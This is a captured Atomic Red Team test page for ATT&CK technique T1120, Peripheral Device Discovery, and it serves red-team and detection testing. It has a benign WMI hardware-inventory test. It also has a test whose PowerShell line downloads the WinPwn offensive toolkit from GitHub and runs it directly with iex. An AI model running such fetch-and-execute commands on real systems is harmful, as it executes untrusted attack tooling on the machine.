Sign in

redcanaryco / **atomic-red-team** Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 4 Actions Wiki Security Insights

atomic-red-team / atomics / T1120 / **T1120.md**

`75 lines (34 loc) · 2.1 KB`

Preview Code Blame Raw

T1120 - Peripheral Device Discovery

Description from ATT&CK

> Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Atomic Tests

- Atomic Test #1 - Win32_PnPEntity Hardware Inventory
- Atomic Test #2 - WinPwn - printercheck

Atomic Test #1 - Win32_PnPEntity Hardware Inventory

Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity

Supported Platforms: Windows

auto_generated_guid: 2cb4dbf2-2dca-4597-8678-4d39d207a3a5

Attack Commands: Run with `powershell`!

```
Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $en
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Conte
```

Cleanup Commands:

```
Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore
```

Atomic Test #2 - WinPwn - printercheck

Search for printers / potential vulns using printercheck function of WinPwn

Supported Platforms: Windows

auto_generated_guid: cb6e76ca-861e-4a7f-be08-564caa3e6f75

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
printercheck -noninteractive -consoleoutput
```